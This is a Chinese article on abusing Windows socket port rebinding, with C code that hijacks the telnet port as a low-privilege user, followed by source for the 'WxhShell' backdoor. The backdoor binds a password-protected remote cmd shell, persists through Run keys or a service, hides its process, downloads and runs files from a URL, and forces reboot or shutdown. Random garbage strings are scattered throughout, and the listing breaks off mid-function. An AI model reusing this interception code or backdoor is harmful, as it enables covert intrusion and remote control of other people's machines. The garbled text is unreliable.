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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: sB?2*S"X)< s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rVUUH! ~ct2`M$TL( saddr.sin_family = AF_INET; lwVk(l
Z 9Hu
d|n saddr.sin_addr.s_addr = htonl(INADDR_ANY); tC^ 1} ypH8QfxLTr bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9*4 . #S%4? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 >L^xlm%7o q7|:^#{av 这意味着什么?意味着可以进行如下的攻击: xZX`%f- Q8;#_HE 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ^pj>9% y`4{!CEyLW 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) b6|Z"{TI
_ ZP-dW|<[x 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 :V-k'hm
& 0E-pA3M6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 k=?^){[We (VyA6a8 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 #EJP(wXa b
vRB 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 lkb2?2\+ j9:/RJS 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *<IR9.~{6% &iNS?1a%f= #include }%$OU = T #include LKx` v90p #include :k~dj C #include ^LVk5l)\>g DWORD WINAPI ClientThread(LPVOID lpParam); 4d`+CD C int main() }Gr&w-v { MU1E_"Z) WORD wVersionRequested; hU"F;4p DWORD ret; Iyyo3awc WSADATA wsaData; IE;\7r+h BOOL val; &tj0M.- SOCKADDR_IN saddr; d; =u SOCKADDR_IN scaddr; 2 z7}+lH int err; ;1`!wG-DD SOCKET s; E]1##6Ae SOCKET sc; v L}T~_=3 int caddsize; >3PMnI HANDLE mt; ^ H3m\!h DWORD tid; vk'rA{x wVersionRequested = MAKEWORD( 2, 2 ); Nqcp1J" err = WSAStartup( wVersionRequested, &wsaData ); ETfF5i} if ( err != 0 ) { a9l8{3 printf("error!WSAStartup failed!\n"); G;s"h%Xw98 return -1; % (<(Y } \u M? S saddr.sin_family = AF_INET; Svw<XJ ".P){Dep$4 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 qTM%G- fF;h V saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); d1]i,C~Y saddr.sin_port = htons(23); :( ,mL2[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &= eYr{ { {^m Kvc printf("error!socket failed!\n"); >o/95xk2 return -1; x2W#ROfg } ;>>C)c4V " val = TRUE; K_ke2{4Jm //SO_REUSEADDR选项就是可以实现端口重绑定的 ho.(v;
if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) VkZ.6kV { 7\Fs=\2l+' printf("error!setsockopt failed!\n"); O0huqF$K return -1; LFf`K)q } <9eu1^g //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; nidr\oFUIn //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (=
;N{u //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Riry_
gl7|H&&xV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) f p[,C1U { 3BQ!qO17^d ret=GetLastError(); 9P WY52! printf("error!bind failed!\n"); }}r>
K} return -1; igC_)C^i> } ,S&z<S_ listen(s,2); 6.c^u5; while(1) Vba.uKNjk { dl~|Izm caddsize = sizeof(scaddr); Log|%P\ //接受连接请求 n<7q`tM# sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ej(ikj~j if(sc!=INVALID_SOCKET) D Ml?o:l { 'T8W!&$ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); z rfUQO if(mt==NULL) 1iBP,:>* { L{fFC%|l2L printf("Thread Creat Failed!\n"); 5&!c7$K0 break; ,,4
GNbBC } .qv'6G } gm"#:< ) CloseHandle(mt); Ond'R'3 \E } R[B?C;+(O closesocket(s); Dt|)=a WSACleanup(); Z u*K-ep" return 0; s>n(`?@L } 5Wx~ZQZ DWORD WINAPI ClientThread(LPVOID lpParam) {w6/[-^ { !ZXUPH SOCKET ss = (SOCKET)lpParam; cmwPuK$ SOCKET sc; ""iaGH+Cxw unsigned char buf[4096]; zg)sd1@ SOCKADDR_IN saddr; |I;$M;'r& long num; GEUg]nw DWORD val; TI|/u$SJ<Z DWORD ret; }2 8= //如果是隐藏端口应用的话,可以在此处加一些判断 9LJZ-/Wq //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 -V.d?A4" saddr.sin_family = AF_INET; f9$xk|2g saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); l! bv^ saddr.sin_port = htons(23); ~nLN`Hd if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )FN;+"IJ { B=f,QU printf("error!socket failed!\n"); ,MPB/j^o5! return -1; rZXrT}Xh{W } bPKOw< val = 100; aW_oD[l if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 68fiG { .wA+S8}S ret = GetLastError(); 5Z/7kU=I return -1; K6JVg$ } g]~h(mI if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B;6]NCxD { 9# 4Y1L S) ret = GetLastError(); BimjQ;jtI return -1; B<?[Mrdxw } wBj-m if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {~GYj%-^ { AFvgbn8Qh printf("error!socket connect failed!\n"); lA(Q@yEW closesocket(sc); Wm~` ~P closesocket(ss); h5_G4J{1 return -1; Jq.lT(E8D } ,fDEz9-, while(1) >I { #eZ6)i< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 9h90huyKF //如果是嗅探内容的话,可以再此处进行内容分析和记录 B5V_e!*5F* //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 W1Lr_z6
num = recv(ss,buf,4096,0); vr^~yEr if(num>0) >>b3ZE|5 send(sc,buf,num,0); hVT~~n`Rj else if(num==0) bi y4d break; zJDSbsc$% num = recv(sc,buf,4096,0); =o}"jVE if(num>0)
XIo55* send(ss,buf,num,0); `(+o=HsD else if(num==0) V=He_9B break; $mmup|;( } -4w=s|#.\ closesocket(ss); 1(zsOeX closesocket(sc); Md6]R-l@ return 0 ; $8USyGi3J } _I`,Br:N P7ph}mB X8dR+xd ========================================================== &Cim!I E5el?=,i 下边附上一个代码,,WXhSHELL fJ\sguZ x^|V af ========================================================== )#a[-.OI 8zLY6@ #include "stdafx.h" @D-AO_ 50TA:7 #include <stdio.h> #j#_cImE #include <string.h> F-D]TRG/*] #include <windows.h> 6)oLus #include <winsock2.h> IX: 25CEI2 #include <winsvc.h> ms($9 Lv/ #include <urlmon.h> FJ*i\Q/D l$K,#P<) #pragma comment (lib, "Ws2_32.lib") )&era` e[ #pragma comment (lib, "urlmon.lib") -U<Upn)2 V._6=ZJ #define MAX_USER 100 // 最大客户端连接数 a9n^WOJ6 #define BUF_SOCK 200 // sock buffer -/_L*oYli #define KEY_BUFF 255 // 输入 buffer 8<mjh0F-, e*(b #define REBOOT 0 // 重启 )!g{Sbl #define SHUTDOWN 1 // 关机 ]
2DH; ELh8ltLY #define DEF_PORT 5000 // 监听端口 22kp l)vbU 2([2Pb3<" #define REG_LEN 16 // 注册表键长度 c PgfTT #define SVC_LEN 80 // NT服务名长度 yNm:[bOER Te2zK7:
// 从dll定义API AtR?J"3E typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5XuT={o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fzjU<?} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ku&!?m@C typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >5R<;#8 X1ZgSs+i // wxhshell配置信息 GDYFU*0 struct WSCFG { !6Sd(2 int ws_port; // 监听端口 fN"(mW>! char ws_passstr[REG_LEN]; // 口令 iHf-{[[Z int ws_autoins; // 安装标记, 1=yes 0=no =AVgIv char ws_regname[REG_LEN]; // 注册表键名 a[lY S{ char ws_svcname[REG_LEN]; // 服务名 *9)SmSs char ws_svcdisp[SVC_LEN]; // 服务显示名 mMMQ|ea char ws_svcdesc[SVC_LEN]; // 服务描述信息 ExHKw~y9
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
E7Cy(LO int ws_downexe; // 下载执行标记, 1=yes 0=no =8gHS[ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" C"lJl k9g^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #YDr%>j w&4~Q4 }; ]|_\xO( U/lM\3v/e // default Wxhshell configuration DO7W}WU struct WSCFG wscfg={DEF_PORT, TpA\9N#$ "xuhuanlingzhe", _LwOOZj 1, l"n{.aL "Wxhshell", S4witIK5 "Wxhshell", $,xnU.n "WxhShell Service", %3HVFhl "Wrsky Windows CmdShell Service", MxzLK%am "Please Input Your Password: ", %!ebO*8q 1, kj+#TnF- " http://www.wrsky.com/wxhshell.exe", CIjZG ?A "Wxhshell.exe" `[zQf }; *&AfR8x_z ,Ma.V\T[ // 消息定义模块 qH"Gm char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H'
T char *msg_ws_prompt="\n\r? for help\n\r#>"; B12$I:x` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Iqs+r? char *msg_ws_ext="\n\rExit."; k%[3Q>5iM char *msg_ws_end="\n\rQuit."; %AF5= char *msg_ws_boot="\n\rReboot..."; ]4+s$rG char *msg_ws_poff="\n\rShutdown..."; }AZc8o- char *msg_ws_down="\n\rSave to "; s<x1>Q7X~ QrApxiw char *msg_ws_err="\n\rErr!"; IPuA#C char *msg_ws_ok="\n\rOK!"; T^Ab!O gBu1QviU char ExeFile[MAX_PATH]; a:~@CUD
>I int nUser = 0; 1e xl0]- HANDLE handles[MAX_USER]; X &2oPo int OsIsNt; hO{cvHy` H7i$xWs SERVICE_STATUS serviceStatus; [6jbgW~E SERVICE_STATUS_HANDLE hServiceStatusHandle; 1
4LI5T +Taa!hfys // 函数声明 UDf9FnG}L int Install(void); M(| int Uninstall(void); W;?(,xx int DownloadFile(char *sURL, SOCKET wsh); VcK}2<8:+~ int Boot(int flag); =Nz0.: void HideProc(void); bIt=v)%$ int GetOsVer(void); Q bhW!9(, int Wxhshell(SOCKET wsl); =1dI>M>tm void TalkWithClient(void *cs); 7iuQ9q^& int CmdShell(SOCKET sock); r%Rs0)$yj int StartFromService(void); }4co)B" int StartWxhshell(LPSTR lpCmdLine); o/[ Do?P<x o VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); g|P C$p-z+ VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5p?!ni9 \(I6_a_{ // 数据结构和表定义 3E} An% SERVICE_TABLE_ENTRY DispatchTable[] = fbZibcQ%k { UVf\2\ Y {wscfg.ws_svcname, NTServiceMain}, ;D ~L| {NULL, NULL} 3l!NG=R }; oN[Th 8YY|;\F)J~ // 自我安装 v4?iOD int Install(void) ? y},, { e^).W3SK] char svExeFile[MAX_PATH]; crA:I"I HKEY key; z?8~[h{i% strcpy(svExeFile,ExeFile); &!7+Yb(1 $%2_{m_K:p // 如果是win9x系统,修改注册表设为自启动 OVoO6F] if(!OsIsNt) { k/Mp6<?C: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O^{1RV3:,T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WbjF]b\ RegCloseKey(key); ^Uw[x\%#gD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T!q_/[i~7 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Dxx;v .$ RegCloseKey(key); kL{;.WsB return 0; $,1dQeE } <SXZx9A! } ESQ!@G/n } V:
p)m&y6 else { Yt1mB[&f^ Unl?fXI // 如果是NT以上系统,安装为系统服务 m$UvFP1>u1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kM*T$JqN if (schSCManager!=0) 6o}V@UzqV { nW;kcS*A SC_HANDLE schService = CreateService vgPUIxB@ ( W04av_u 5 schSCManager, ;"7/@&M\m wscfg.ws_svcname, @h-T:$ wscfg.ws_svcdisp, 2RNrIU I2 SERVICE_ALL_ACCESS, hYt7kq!" SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , FUTn SERVICE_AUTO_START, [STje8+V SERVICE_ERROR_NORMAL, DnyYMe!r svExeFile, qb7^VIo%c NULL, r%MyR8'k] NULL, V:^H4WvL\W NULL, )h"Fla NULL, qe?Ggz3p. NULL iz
x[ ); 3ut_Bt\ if (schService!=0) `ut)+T V { i&F~=Q` CloseServiceHandle(schService); ;~ee[W$1 CloseServiceHandle(schSCManager); _Xh=&(/8@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h;Mu[` strcat(svExeFile,wscfg.ws_svcname); |HgfV@Han if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ./iXyta RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -uR{X G. D RegCloseKey(key); Fzs>J&sY& return 0; ' o=E!? } nZW4} ~0j } {5x>y:v CloseServiceHandle(schSCManager); -- S"w@ } M7p8^NL } mVrK z ,)uPGe"y return 1; _W+Q3Jx-( } Q!)z)-hI Su4h'&xx // 自我卸载 onh?/3l int Uninstall(void) a@k.$ { :~r#LRgc HKEY key; ;qG1r@o wy\o*P9mG) if(!OsIsNt) { g5<ZS3tQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g`{Dxb,t RegDeleteValue(key,wscfg.ws_regname); o3= .T+B RegCloseKey(key); 3Pa3f >}- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "?+UI RegDeleteValue(key,wscfg.ws_regname); <tU
:U<ea] RegCloseKey(key); 0O^r.&{j> return 0; / (.'*biQ } )_F(H)* } % IPyCEJD } -MUQ\pZ else { \|Y{jG<cu +}\29@{W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6|i`@|# if (schSCManager!=0) &LwJ'h+nd { L&rO6 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k~ZBJ+
94 if (schService!=0) ;7)OSGR { a\Tr!Be, if(DeleteService(schService)!=0) { =cknE= CloseServiceHandle(schService); *SXSF95 CloseServiceHandle(schSCManager); @ >
cdHv return 0; \(wn@/yP' } .;cxhgU CloseServiceHandle(schService); EOofa6f&l } zmdWVFVv CloseServiceHandle(schSCManager); u;QH8LK } b ^+Fs } \;'_|bu3. VoWA tNU return 1; fc[" } ttTI#Fr2 6zELe.tq // 从指定url下载文件 \IO$+Guh int DownloadFile(char *sURL, SOCKET wsh) ]L[JS^#7 { (ej:_w1 HRESULT hr; G* 8+h char seps[]= "/"; 'nC3:U char *token; TB;3` char *file; F]/L! char myURL[MAX_PATH]; EY,;e\7O, char myFILE[MAX_PATH]; [u,hc/PL LuQ"E4;nY% strcpy(myURL,sURL); \ 9[NH/.Z{ token=strtok(myURL,seps); -[i40
1 while(token!=NULL) |G|* { V:nMo2'hb file=token; 7yc9`j}] token=strtok(NULL,seps); z }FiU[Hs } 94Kuy@0:+ o|zrD~&$ GetCurrentDirectory(MAX_PATH,myFILE); l Q=&jkw strcat(myFILE, "\\"); (= S"Kvb~# strcat(myFILE, file); )*psDjZ7* send(wsh,myFILE,strlen(myFILE),0); EqNz L*E send(wsh,"...",3,0); yv6Zo0s<J hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7/5NaUmPTt if(hr==S_OK) {ar5c&< return 0; y^EF<<\ else >
{'5>6u return 1; doxdRYKL P3,Z5|) } t z
+ XwKZv0ub // 系统电源模块 *_2O*{V int Boot(int flag) }"g21-T^ { Z>>gXh<e[ HANDLE hToken; SG(%d^x`R TOKEN_PRIVILEGES tkp; mK7^:(<.LO P ],) if(OsIsNt) { l1+w2rd1 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zezofW]a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6\)8mK tkp.PrivilegeCount = 1; .dg 4gr\D tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yP<:iCY AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Xj})?{FP if(flag==REBOOT) { >tXufzW if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _4XoUE\\ return 0; ;QvvU[eb } ^cPo{xf else { K8yyxJ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Hd=D#u=A4{ return 0; W=;(t } )LMBxyS } b Q9"GO<X else { u
#=kb5}{ if(flag==REBOOT) { $&n240( if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 69<rsp(p return 0; ,,C~j`F } @6I[{{>X else { mAYr<= if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Z|cTzunp return 0; $S)e"Po~5 } c@ZkX]g } LF-+5` b3 %& return 1; G(Idiw#WT } H/v37%p7 HS5Ug'\446 // win9x进程隐藏模块 )*$ void HideProc(void) 8HH.P`Vk# { 5x1jLPl' zx]M/=7,V# HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); R2H\;N if ( hKernel != NULL ) B"E (Y M { 8L9S^ ' pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )>#<S0>'j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o y%g{,V FreeLibrary(hKernel); DRBYH( } <4A(Z$ZX) ywsz"/=@ return; m%$E[cUW! } [F>n!`8 C7*Yg$`{ // 获取操作系统版本 2QuypVC ] int GetOsVer(void) 0,D9\ Ebd { 8-g$HXqs_# OSVERSIONINFO winfo; !E>3N: winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); v'Py[[R GetVersionEx(&winfo); cB])A57< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Hd@T8 D*A return 1; XkfUPbU else zZ"')+7q&% return 0; N@`9 ~JS } FVLA^$5c nh.v?| // 客户端句柄模块 K/LaA4 int Wxhshell(SOCKET wsl) ~|d?o5W { 5>k~yaju/ SOCKET wsh; nv|y@!( struct sockaddr_in client; JC?V].) y5 DWORD myID; %RF _"e(
^yiK while(nUser<MAX_USER) '
xq5tRg> { L$07u{Q int nSize=sizeof(client); #S74C*'8 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); eMMiSO!3 if(wsh==INVALID_SOCKET) return 1; JG+o~tQC |8?{JKsg handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y&|{x " if(handles[nUser]==0) "Q!{8 9Y closesocket(wsh); Y7I else 7.'j~hJL nUser++; *m Tc4&* } n6+MqN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !Dn1pjxc
d~s-;T return 0; uPD_s[ } g(/O)G. QLLVOJi // 关闭 socket BiAcjN:Z void CloseIt(SOCKET wsh) #3jZ7RqzQ { G`K7P`m closesocket(wsh); (
I~XwP& nUser--; F#9KMu<<cI ExitThread(0); s0'U[] } eh=bClk g5]DA.&( // 客户端请求句柄 R5~m"bE void TalkWithClient(void *cs) l1j { {i?K~|
h
#rC+13 SOCKET wsh=(SOCKET)cs; Wsz9X; char pwd[SVC_LEN]; N1t:i? q& char cmd[KEY_BUFF]; Tdp$laPO' char chr[1]; 'Pn`V{a int i,j; D7oV&vXg B9 {DO while (nUser < MAX_USER) { p`ZGV97 }e6:&`a xD if(wscfg.ws_passstr) { UY^f|f& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $t?e=#G //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;#Nci%<J\ //ZeroMemory(pwd,KEY_BUFF); ,4UJ|D=J i=0; jV8><5C while(i<SVC_LEN) { 6<GWDO mcracj[B // 设置超时 smNr%}_g fd_set FdRead; qd ZYaS ~ struct timeval TimeOut; D~,R@7 FD_ZERO(&FdRead); n(MEG'9} FD_SET(wsh,&FdRead);
)BB a TimeOut.tv_sec=8; p*,mwKN: TimeOut.tv_usec=0; XsC bA8Qv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); n40Z if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kDQXPp AE Jm/8,T if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YG|T;/- pwd =chr[0]; Li^V?
if(chr[0]==0xd || chr[0]==0xa) { .:/@<V+K pwd=0; _XtY/7n break; NI)nf;C } }mK_d9d x i++; x(~l[hT } `.XU|J*z, xg&vZzcl // 如果是非法用户,关闭 socket o\#e7 Hqbh if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); u8QX2| } d+;~x* &~EOM send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); o=}?aC3I send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MaM7u:kD# K9iR>put while(1) { 4!wfh)Z +X%yF{^m( ZeroMemory(cmd,KEY_BUFF); #kA+Yqy\) h";sQ'us // 自动支持客户端 telnet标准 fQdQ[ j=0; j.sf FS while(j<KEY_BUFF) { tFCeE=4% if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $o z
ZFvJF cmd[j]=chr[0]; (msJ:SG if(chr[0]==0xa || chr[0]==0xd) { Om*Dy} cmd[j]=0; (Y86q\DQ?| break; ]v#Q\Q8> } tfO
_b5g j++; Im2g2] } e5dw q rBaK$Ut // 下载文件 H)Yv_gT if(strstr(cmd,"http://")) { b.F2m(e2 send(wsh,msg_ws_down,strlen(msg_ws_down),0); e2>gQ p/ if(DownloadFile(cmd,wsh)) (Xx
@_ send(wsh,msg_ws_err,strlen(msg_ws_err),0); |dvcDx0|K else oPi)#|jcb send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ),86Y:^4 } 9E+^FZ e else { r~X6qC H|P.q{(G switch(cmd[0]) { OF)X(bi4j Li}yK[\] // 帮助 <=p"ck@ case '?': { FYzl- 7!Y send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); k5^'b#v break; ~&g:7f|X } L_/.b%0) // 安装 Upf1*$p case 'i': { MYu-[Hg if(Install()) K}6}Opr,Tt send(wsh,msg_ws_err,strlen(msg_ws_err),0); x\)-4w<P else wEk9(| send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v6]lH9c{, break; B4|3@X0( } XBBsdldZ // 卸载 $L(,q!DvH case 'r': { ${e{# if(Uninstall()) iidK}<o send(wsh,msg_ws_err,strlen(msg_ws_err),0); qz?9:"~$C else VF;%Z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j
$L break; od!TwGX } Dzb@H$BQ7 // 显示 wxhshell 所在路径 [<6ez;2q' case 'p': { ~zi&u46 char svExeFile[MAX_PATH]; !s5 _JO strcpy(svExeFile,"\n\r"); s %/3X\_ strcat(svExeFile,ExeFile); GDhg
VOW( send(wsh,svExeFile,strlen(svExeFile),0); L_Om<LO2 break; lRn>/7sg$ } ~r+;i,,X // 重启 _HGbR/ case 'b': { Ak&eGd$d send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 90(JP- if(Boot(REBOOT)) Ee^2stc- send(wsh,msg_ws_err,strlen(msg_ws_err),0); -:Yx1Y3
[ else { |G }qY5_ closesocket(wsh); QrDI$p7;' ExitThread(0); qo/`9%^E? } L`3x0u2 break; 1)w^.8f } Zg_ fec~6q // 关机 ZDMS:w.'T case 'd': { $zKf>[K send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6;Wns' if(Boot(SHUTDOWN))
YH@p\#Y send(wsh,msg_ws_err,strlen(msg_ws_err),0); s$s~p
+U else { V 9bn closesocket(wsh); !o1+#DL)MU ExitThread(0); n Hz Xp:" } !W^P|:Qt break; lp+Uox } =*>ri // 获取shell gwO]U=Y case 's': { g:8k,1y5 CmdShell(wsh); &P' d&B1
closesocket(wsh); ]O]6O%.ao ExitThread(0); +6-_9qRq break; #\1)Tu%- } 2D;2QdO // 退出 ~T">)Y~+xI case 'x': { OXDEU. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); r^zra|] CloseIt(wsh); E7mB=bt>= break; t[}&*2"$/ } VYG o; // 离开 o@2Y98~Q} case 'q': { E/OfkL*\ send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?vh1 >1D closesocket(wsh); ;V v.$mI WSACleanup(); tK7v&[cI exit(1); w Dp5HZ> break; ;x,yGb` } o*_arzhA } <~z@GMQCf } LiyR,e lq}m0}9< // 提示信息 zoibinm}Eg if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gkhmQd } pddumbp } yByxy-~ U2G[uDa; return; s.$:.*k } cB0"vbdO #b,!N // shell模块句柄 aOhi<I`* int CmdShell(SOCKET sock) yRy^'E~ { \)M
EM=U STARTUPINFO si; `gvd8^ ZeroMemory(&si,sizeof(si)); IE:;`e:\D si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; U _sM==~ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cC pNF `DN PROCESS_INFORMATION ProcessInfo; P" aw--f( char cmdline[]="cmd"; lw`$(, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s:xt4< return 0; >)t-Zh:n } -&h<t/U Il]p >B // 自身启动模式 o0kKf+[ int StartFromService(void) /u~L3Cp( { Um!LF"Z typedef struct 8;i'dF:) {
=AP0{ DWORD ExitStatus; iw^"?:'% DWORD PebBaseAddress; 5Z>+NKQ DWORD AffinityMask; 2m,t<Y; DWORD BasePriority; Rhzcm`" ULONG UniqueProcessId; PNpH)'C| ULONG InheritedFromUniqueProcessId; H<Zs2DP` } PROCESS_BASIC_INFORMATION; GrA}T` ] %'MR;hQsd8 PROCNTQSIP NtQueryInformationProcess; mW)C=X% Na.)!h_Kn' static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vv1W <X0e< static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $aY:Z_s j34lPo ` HANDLE hProcess; ,#.9^J PROCESS_BASIC_INFORMATION pbi; D26A%[^O `;Xwv) HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PG*FIRDb if(NULL == hInst ) return 0; Wdp4'rB n ==+NL g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2+C8w%F8 g_pGetModuleBaseName = 